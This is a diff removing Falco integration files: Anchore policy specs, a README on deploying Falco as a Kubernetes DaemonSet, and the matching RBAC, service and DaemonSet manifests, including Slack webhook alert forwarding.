-    action = actions.CreateFalcoRuleFromAnchoreStopPolicyResults(anchore_client)
-
-    result = action.run()
-
-    print(result)
-
-
-if __name__ == '__main__':
-    main()

integrations/anchore-falco/specs/create_falco_rule_from_anchore_policy_results_spec.py

@@ -1,21 +0,0 @@
-from mamba import description, it, before
-from expects import expect, contain
-
-from doublex import Stub, when
-
-import actions
-import infrastructure
-
-
-with description(actions.CreateFalcoRuleFromAnchoreStopPolicyResults) as self:
-    with before.each:
-        self.anchore_client = Stub(infrastructure.AnchoreClient)
-        self.action = actions.CreateFalcoRuleFromAnchoreStopPolicyResults(self.anchore_client)
-
-    with it('queries Anchore Server for images with Stop as policy results'):
-        image_id = 'any image id'
-        when(self.anchore_client).get_images_with_policy_result('stop').returns([image_id])
-
-        result = self.action.run()
-
-        expect(result).to(contain(image_id))

integrations/anchore-falco/specs/infrastructure/anchore_client_spec.py

@@ -1,19 +0,0 @@
-from mamba import description, it
-from expects import expect, have_length, be_above
-
-import os
-
-import infrastructure
-
-
-with description(infrastructure.AnchoreClient) as self:
-    with it('retrieves images with stop policy results'):
-        user = os.environ['ANCHORE_CLI_USER']
-        password = os.environ['ANCHORE_CLI_PASS']
-        url = os.environ['ANCHORE_CLI_URL']
-
-        client = infrastructure.AnchoreClient(user, password, url, True)
-
-        result = client.get_images_with_policy_result('stop')
-
-        expect(result).to(have_length(be_above(1)))

integrations/k8s-using-daemonset/README.md

@@ -1,120 +0,0 @@
-# Example Kubernetes Daemon Sets for Falco
-
-This directory gives you the required YAML files to stand up Falco on Kubernetes as a Daemon Set. This will result in a Falco Pod being deployed to each node, and thus the ability to monitor any running containers for abnormal behavior.
-
-The two options are provided to deploy a Daemon Set:
-- `k8s-with-rbac` - This directory provides a definition to deploy a Daemon Set on Kubernetes with RBAC enabled.
-- `k8s-without-rbac` - This directory provides a definition to deploy a Daemon Set on Kubernetes without RBAC enabled. **This method is deprecated in favor of RBAC-based installs, and won't be updated going forward.**
-
-Also provided:
-- `falco-event-generator-deployment.yaml` - A Kubernetes Deployment to generate sample events. This is useful for testing, but note it will generate a large number of events.
-
-## Deploying to Kubernetes with RBAC enabled
-
-Since v1.8 RBAC has been available in Kubernetes, and running with RBAC enabled is considered the best practice. The `k8s-with-rbac` directory provides the YAML to create a Service Account for Falco, as well as the ClusterRoles and bindings to grant the appropriate permissions to the Service Account.
-
-```
-k8s-using-daemonset$ kubectl create -f k8s-with-rbac/falco-account.yaml
-serviceaccount "falco-account" created
-clusterrole "falco-cluster-role" created
-clusterrolebinding "falco-cluster-role-binding" created
-k8s-using-daemonset$
-```
-
-We also create a service that allows other services to reach the embedded webserver in falco, which listens on https port 8765:
-
-```
-k8s-using-daemonset$ kubectl create -f k8s-with-rbac/falco-service.yaml
-service/falco-service created
-k8s-using-daemonset$
-```
-
-The Daemon Set also relies on a Kubernetes ConfigMap to store the Falco configuration and make the configuration available to the Falco Pods. This allows you to manage custom configuration without rebuilding and redeploying the underlying Pods. In order to create the ConfigMap you'll first need to copy the required configuration from their location in this GitHub repo to the `k8s-with-rbac/falco-config/` directory (please note that you will need to create the /falco-config directory). Any modification of the configuration should be performed on these copies rather than the original files.
-
-```
-k8s-using-daemonset$ mkdir -p k8s-with-rbac/falco-config
-k8s-using-daemonset$ cp ../../falco.yaml k8s-with-rbac/falco-config/
-k8s-using-daemonset$ cp ../../rules/falco_rules.* k8s-with-rbac/falco-config/
-k8s-using-daemonset$ cp ../../rules/k8s_audit_rules.yaml k8s-with-rbac/falco-config/
-```
-
-If you want to send Falco alerts to a Slack channel, you'll want to modify the `falco.yaml` file to point to your Slack webhook. For more information on getting a webhook URL for your Slack team, refer to the [Slack documentation](https://api.slack.com/incoming-webhooks). Add the below to the bottom of the `falco.yaml` config file you just copied to enable Slack messages.
-
-```
-program_output:
-  enabled: true
-  keep_alive: false
-  program: "jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/see_your_slack_team/apps_settings_for/a_webhook_url"
-```
-
-You will also need to enable JSON output. Find the `json_output: false` setting in the `falco.yaml` file and change it to read `json_output: true`. Any custom rules for your environment can be added to into the `falco_rules.local.yaml` file and they will be picked up by Falco at start time. You can now create the ConfigMap in Kubernetes.
-
-```
-k8s-using-daemonset$ kubectl create configmap falco-config --from-file=k8s-with-rbac/falco-config
-configmap "falco-config" created
-k8s-using-daemonset$
-```
-
-Now that we have the requirements for our Daemon Set in place, we can create our Daemon Set.
-
-```
-k8s-using-daemonset$ kubectl create -f k8s-with-rbac/falco-daemonset-configmap.yaml
-daemonset "falco" created
-k8s-using-daemonset$
-```
-
-
-## Deploying to Kubernetes without RBAC enabled (**Deprecated**)
-
-If you are running Kubernetes with Legacy Authorization enabled, you can use `kubectl` to deploy the Daemon Set provided in the `k8s-without-rbac` directory. The example provides the ability to post messages to a Slack channel via a webhook. For more information on getting a webhook URL for your Slack team, refer to the [Slack documentation](https://api.slack.com/incoming-webhooks). Modify the [`args`](https://github.com/draios/falco/blob/dev/examples/k8s-using-daemonset/falco-daemonset.yaml#L21) passed to the Falco container to point to the appropriate URL for your webhook.
-
-```
-k8s-using-daemonset$ kubectl create -f k8s-without-rbac/falco-daemonset.yaml
-```
-
-When running falco via a container, you might see error messages like the following:
-```
-mkdir: cannot create directory '/lib/modules/3.10.0-693.el7.centos.test.x86_64/kernel/extra': Read-only file system
-cp: cannot create regular file '/lib/modules/3.10.0-693.el7.centos.test.x86_64/kernel/extra/falco-probe.ko.xz': No such file or directory
-```
-
-These error messages are innocuous, but if you would like to remove them you can change the /host/lib/modules mount to read-write, by doing below change in `k8s-with-rbac/falco
-daemonset-configmap.yaml`:
-
-```
-             - mountPath: /host/lib/modules
-               name: lib-modules
--              readOnly: true
-+              #readOnly: true
-```
-
-However, note that this will result in the `falco-probe.ko.xz` file being saved to `/lib/modules` on the host, even after the falco container is removed.
-
-
-## Verifying the installation
-
-In order to test that Falco is working correctly, you can launch a shell in a Pod. You should see a message in your Slack channel (if configured), or in the logs of the Falco pod.
-
-```
-k8s-using-daemonset$ kubectl get pods
-NAME          READY     STATUS    RESTARTS   AGE
-falco-74htl   1/1       Running   0          13h
-falco-fqz2m   1/1       Running   0          13h
-falco-sgjfx   1/1       Running   0          13h
-k8s-using-daemonset$ kubectl exec -it falco-74htl bash
-root@falco-74htl:/# exit
-k8s-using-daemonset$ kubectl logs falco-74htl
-{"output":"17:48:58.590038385: Notice A shell was spawned in a container with an attached terminal (user=root k8s.pod=falco-74htl container=a98c2aa8e670 shell=bash parent=<NA> cmdline=bash  terminal=34816)","priority":"Notice","rule":"Terminal shell in container","time":"2017-12-20T17:48:58.590038385Z", "output_fields": {"container.id":"a98c2aa8e670","evt.time":1513792138590038385,"k8s.pod.name":"falco-74htl","proc.cmdline":"bash ","proc.name":"bash","proc.pname":null,"proc.tty":34816,"user.name":"root"}}
-k8s-using-daemonset$
-```
-
-Alternatively, you can deploy the [Falco Event Generator](https://github.com/draios/falco/wiki/Generating-Sample-Events) deployement to have events automatically generated. Please note that this Deployment will generate a large number of events.
-
-```
-k8s-using-daemonset$ kubectl create -f falco-event-generator-deployment.yaml \
-&& sleep 1 \
-&& kubectl delete -f falco-event-generator-deployment.yaml
-deployment "falco-event-generator-deployment" created
-deployment "falco-event-generator-deployment" deleted
-k8s-using-daemonset$
-```

integrations/k8s-using-daemonset/falco-event-generator-deployment.yaml

@@ -1,17 +0,0 @@
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  name: falco-event-generator-deployment
-  labels:
-    name: falco-event-generator-deployment
-    app: demo
-spec:
-  replicas: 1
-  template:
-    metadata:
-      labels:
-        app: falco-event-generator
-    spec:
-      containers:
-      - name: falco-event-generator
-        image: sysdig/falco-event-generator:latest

integrations/k8s-using-daemonset/k8s-with-rbac/falco-account.yaml

@@ -1,41 +0,0 @@
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: falco-account
-  labels:
-    app: falco-example
-    role: security
----
-kind: ClusterRole
-apiVersion: rbac.authorization.k8s.io/v1
-metadata:
-  name: falco-cluster-role
-  labels:
-    app: falco-example
-    role: security
-rules:
-  - apiGroups: ["extensions",""]
-    resources: ["nodes","namespaces","pods","replicationcontrollers","replicasets","services","daemonsets","deployments","events","configmaps"]
-    verbs: ["get","list","watch"]
-  - apiGroups: ["apps"]
-    resources: ["daemonsets","deployments","replicasets","statefulsets"]
-    verbs: ["get","list","watch"]
-  - nonResourceURLs: ["/healthz", "/healthz/*"]
-    verbs: ["get"]
----
-kind: ClusterRoleBinding
-apiVersion: rbac.authorization.k8s.io/v1
-metadata:
-  name: falco-cluster-role-binding
-  namespace: default
-  labels:
-    app: falco-example
-    role: security
-subjects:
-  - kind: ServiceAccount
-    name: falco-account
-    namespace: default
-roleRef:
-  kind: ClusterRole
-  name: falco-cluster-role
-  apiGroup: rbac.authorization.k8s.io

integrations/k8s-using-daemonset/k8s-with-rbac/falco-daemonset-configmap-slim.yaml

@@ -1,100 +0,0 @@
-apiVersion: apps/v1
-kind: DaemonSet
-metadata:
-  name: falco-daemonset
-  labels:
-    app: falco-example
-    role: security
-spec:
-  selector:
-    matchLabels:
-      app: falco-example
-      role: security
-  template:
-    metadata:
-      labels:
-        app: falco-example
-        role: security
-    spec:
-      serviceAccount: falco-account
-      initContainers:
-        - name: probeloader
-          image: falcosecurity/probeloader:latest
-          securityContext:
-            privileged: true
-          #env:
-          #  - name: FALCOCTL_FALCO_VERSION
-          #    value: 0.21.0
-          #  - name: FALCOCTL_FALCO_PROBE_URL
-          #    value:
-          #  - name: FALCOCTL_FALCO_PROBE_REPO
-          #    value: "https://s3.amazonaws.com/download.draios.com/stable/sysdig-probe-binaries/"
-          volumeMounts:
-            - mountPath: /host/boot
-              name: boot-fs
-              readOnly: true
-      containers:
-        - name: falco
-          image: falcosecurity/falco:0.21.0-slim
-          securityContext:
-            privileged: true
-# Uncomment the 3 lines below to enable eBPF support for Falco.
-# This allows Falco to run on Google COS.
-# Leave blank for the default probe location, or set to the path
-# of a precompiled probe.
-#          env:
-#          - name: FALCO_BPF_PROBE
-#            value: ""
-          args: [ "/usr/bin/falco", "--cri", "/run/containerd/containerd.sock", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://$(KUBERNETES_SERVICE_HOST)", "-pk"]
-          volumeMounts:
-            - mountPath: /host/var/run/docker.sock
-              name: docker-socket
-            - mountPath: /host/run/containerd/containerd.sock
-              name: containerd-socket
-            - mountPath: /host/dev
-              name: dev-fs
-            - mountPath: /host/proc
-              name: proc-fs
-              readOnly: true
-            - mountPath: /host/boot
-              name: boot-fs
-              readOnly: true
-            - mountPath: /host/lib/modules
-              name: lib-modules
-              readOnly: true
-            - mountPath: /host/usr
-              name: usr-fs
-              readOnly: true
-            - mountPath: /host/etc/
-              name: etc-fs
-              readOnly: true
-            - mountPath: /etc/falco
-              name: falco-config
-      volumes:
-        - name: docker-socket
-          hostPath:
-            path: /var/run/docker.sock
-        - name: containerd-socket
-          hostPath:
-            path: /run/containerd/containerd.sock
-        - name: dev-fs
-          hostPath:
-            path: /dev
-        - name: proc-fs
-          hostPath:
-            path: /proc
-        - name: boot-fs
-          hostPath:
-            path: /boot
-        - name: lib-modules
-          hostPath:
-            path: /lib/modules
-        - name: usr-fs
-          hostPath:
-            path: /usr
-        - name: etc-fs
-          hostPath:
-            path: /etc
-        - name: falco-config
-          configMap:
-            name: falco-config

integrations/k8s-using-daemonset/k8s-with-rbac/falco-daemonset-configmap.yaml

@@ -1,85 +0,0 @@
-apiVersion: apps/v1
-kind: DaemonSet
-metadata:
-  name: falco-daemonset
-  labels:
-    app: falco-example
-    role: security
-spec:
-  selector:
-    matchLabels:
-      app: falco-example
-      role: security
-  template:
-    metadata:
-      labels:
-        app: falco-example
-        role: security
-    spec:
-      serviceAccount: falco-account
-      containers:
-        - name: falco
-          image: falcosecurity/falco:latest
-          securityContext:
-            privileged: true
-# Uncomment the 3 lines below to enable eBPF support for Falco.
-# This allows Falco to run on Google COS.
-# Leave blank for the default probe location, or set to the path
-# of a precompiled probe.
-#          env:
-#          - name: FALCO_BPF_PROBE
-#            value: ""
-          args: [ "/usr/bin/falco", "--cri", "/run/containerd/containerd.sock", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://$(KUBERNETES_SERVICE_HOST)", "-pk"]
-          volumeMounts:
-            - mountPath: /host/var/run/docker.sock
-              name: docker-socket
-            - mountPath: /host/run/containerd/containerd.sock
-              name: containerd-socket
-            - mountPath: /host/dev
-              name: dev-fs
-              readOnly: true
-            - mountPath: /host/proc
-              name: proc-fs
-              readOnly: true
-            - mountPath: /host/boot
-              name: boot-fs
-              readOnly: true
-            - mountPath: /host/lib/modules
-              name: lib-modules
-              readOnly: true
-            - mountPath: /host/usr
-              name: usr-fs
-              readOnly: true
-            - mountPath: /host/etc/
-              name: etc-fs
-              readOnly: true
-            - mountPath: /etc/falco
-              name: falco-config
-      volumes:
-        - name: docker-socket
-          hostPath:
-            path: /var/run/docker.sock
-        - name: containerd-socket
-          hostPath:
-            path: /run/containerd/containerd.sock
-        - name: dev-fs
-          hostPath:
-            path: /dev
-        - name: proc-fs
-          hostPath:
-            path: /proc
-        - name: boot-fs
-          hostPath:
-            path: /boot
-        - name: lib-modules
-          hostPath:
-            path: /lib/modules
-        - name: usr-fs
-          hostPath:
-            path: /usr
-        - name: etc-fs
-          hostPath:
-            path: /etc
-        - name: falco-config
-          configMap:
-            name: falco-config

integrations/k8s-using-daemonset/k8s-with-rbac/falco-service.yaml

@@ -1,13 +0,0 @@
-kind: Service
-apiVersion: v1
-metadata:
-  name: falco-service
-  labels:
-    app: falco-example
-    role: security
-spec:
-  selector:
-    app: falco-example
-  ports:
-  - protocol: TCP
-    port: 8765

integrations/k8s-using-daemonset/k8s-without-rbac/falco-daemonset.yaml

@@ -1,68 +0,0 @@
-apiVersion: apps/v1
-kind: DaemonSet
-metadata:
-  name: falco
-  labels:
-    name: falco-daemonset
-    app: demo
-spec:
-  selector:
-    matchLabels:
-      name: falco
-      app: demo
-      role: security
-  template:
-    metadata:
-      labels:
-        name: falco
-        app: demo
-        role: security
-    spec:
-      containers:
-        - name: falco
-          image: falcosecurity/falco:latest
-          securityContext:
-            privileged: true
-          args: [ "/usr/bin/falco", "--cri", "/run/containerd/containerd.sock", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://kubernetes.default", "-pk", "-o", "json_output=true", "-o", "program_output.enabled=true", "-o",  "program_output.program=jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/see_your_slack_team/apps_settings_for/a_webhook_url"]
-          volumeMounts:
-            - mountPath: /host/var/run/docker.sock
-              name: docker-socket
-            - mountPath: /host/run/containerd/containerd.sock
-              name: containerd-socket
-            - mountPath: /host/dev
-              name: dev-fs
-              readOnly: true
-            - mountPath: /host/proc
-              name: proc-fs
-              readOnly: true
-            - mountPath: /host/boot
-              name: boot-fs
-              readOnly: true
-            - mountPath: /host/lib/modules
-              name: lib-modules
-              readOnly: true
-            - mountPath: /host/usr
-              name: usr-fs
-              readOnly: true
-      volumes:
-        - name: docker-socket
-          hostPath:
-            path: /var/run/docker.sock
-        - name: containerd-socket
-          hostPath:
-            path: /run/containerd/containerd.sock
-        - name: dev-fs
-          hostPath:
-            path: /dev
-        - name: proc-fs
-          hostPath:
-            path: /proc
-        - name: boot-fs
-          hostPath:
-            path: /boot
-        - name: lib-modules
-          hostPath:
-            path: /lib/modules
-        - name: usr-fs
-          hostPath:
-            path: /usr